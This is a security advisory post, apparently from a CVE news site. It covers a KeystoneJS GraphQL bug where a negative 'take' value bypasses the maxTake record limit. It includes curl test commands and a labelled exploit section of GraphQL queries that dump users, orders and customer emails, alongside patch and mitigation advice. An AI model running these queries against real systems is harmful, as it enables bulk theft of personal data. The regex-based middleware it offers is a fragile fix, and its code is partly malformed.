Listen to this Post
The vulnerability resides in Keystone’s GraphQL API layer, specifically within the `graphql.maxTake` configuration option, which is intended to cap the maximum number of records a single query can request. This limit is crucial for preventing overly large result sets that could exhaust server memory, degrade performance, or facilitate denial‑of‑service attacks. The flaw arises from insufficient input validation on the `take` argument used in list queries. Under normal circumstances, `graphql.maxTake` enforces a positive integer boundary—for example, if set to 100, any query with `take` greater than 100 is rejected or clamped. However, the validation logic only checks whether the provided `take` value is less than or equal to the configured maximum, without verifying that the value is strictly positive. By supplying a negative integer (e.g., take: -1), an attacker can bypass this check because `-1` is numerically less than 100, so it passes the boundary test. Once the query reaches the underlying database layer (typically Prisma), the negative `take` value is interpreted differently—many database drivers treat a negative `take` or `limit` as an instruction to return all matching rows, effectively ignoring any size restriction. This means an adversary can craft a GraphQL request that returns the entire dataset of a given list, regardless of the `graphql.maxTake` setting. The impact is immediate: any project that relies on this configuration to bound query sizes becomes unprotected. The vulnerability is particularly dangerous in multi‑tenant environments or public APIs where unauthenticated or low‑privileged users may issue arbitrary queries. The issue was identified by Haxset’s Security Scanner and confirmed to affect all versions prior to the patch. The fix in version 6.5.3 introduces a strict validation that rejects any non‑positive `take` values, ensuring that only integers between 1 and the configured maximum are accepted. For systems that cannot upgrade immediately, the advisory recommends implementing custom middleware to sanitize the `take` input or using GraphQL directive‑based constraints to block negative numbers. The vulnerability is classified as High severity due to its ease of exploitation and the potential to exfiltrate sensitive data or overwhelm backend resources. No authentication is required to trigger the bypass if the list is publicly accessible, amplifying the risk. The patch was backported to all supported LTS releases, and users are strongly urged to update. The disclosure was coordinated with the Keystone maintainers, and the advisory was published to the GitHub Advisory Database on June 30, 2026, with a subsequent review and final update on August 21, 2026. This timeline reflects the standard disclosure and patch‑release cycle for open‑source projects.
DailyCVE Form:
Platform: KeystoneJS
Version: <6.5.3
Vulnerability: Negative take Bypass
Severity: High
date: 2026-06-30
Prediction: Already patched (6.5.3)
What Undercode Say:
Check installed @keystone-6/core version
npm list @keystone-6/core
Verify your GraphQL endpoint (replace localhost:3000)
curl -X POST http://localhost:3000/api/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query { posts(take: -1) { id } }"}'
Monitor server response size to detect abnormal returns
curl -s -w "Size: %{size_download}\n" -X POST http://localhost:3000/api/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query { users(take: -5) { email } }"}'
Use jq to count returned items
curl -s -X POST http://localhost:3000/api/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query { products(take: -1) { name } }"}' | jq '.data.products | length'
Exploit: (Educational Purposes!)
Normal query respecting maxTake (e.g., maxTake = 10)
query {
items(take: 10) { id name }
}
Exploit – negative take bypasses the limit
query {
items(take: -1) { id name } Returns ALL items
}
Advanced – combine with sorting and filtering to exfiltrate large datasets
query {
orders(take: -1, orderBy: { createdAt: desc }) {
id
total
customer { email phone }
}
}
Batch retrieval using negative take on multiple lists in one request
query {
users(take: -1) { id }
posts(take: -1) { }
comments(take: -1) { text }
}
Protection: from this CVE
- Upgrade `@keystone-6/core` to version 6.5.3 or later immediately.
- If patching is delayed, implement a custom GraphQL middleware that sanitizes the `take` argument:
app.use('/api/graphql', (req, res, next) => { if (req.body?.query && req.body.query.includes('take:')) { // Simple regex to catch negative take values – replace with 1 or reject req.body.query = req.body.query.replace(/take:\s-\d+/g, 'take: 1'); } next(); }); - Alternatively, use GraphQL input validation via `@constraint` directives to enforce
take >= 1. - For Prisma-level defense, wrap your list queries with a custom resolver that clamps `take` to `Math.max(1, Math.min(take, maxTake))` even if a negative value is passed.
Impact:
- Data Exfiltration: Attackers can retrieve entire database tables, exposing sensitive fields like emails, hashed passwords, personal identifiers, and internal records.
- Denial of Service (DoS): Returning millions of records in a single response consumes excessive memory, CPU, and network bandwidth, potentially crashing the Node.js process or making the API unresponsive.
- Bypass of Rate Limiting: The vulnerability circumvents the intended resource‑control mechanism, rendering any per‑query size limits ineffective and undermining API governance.
- Increased Cloud Costs: Large data transfers inflate egress costs and may trigger autoscaling events, leading to unexpected billing spikes.
- Compliance Breaches: Exposure of personal data without consent violates GDPR, CCPA, and other privacy regulations, exposing organizations to legal and reputational damage.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
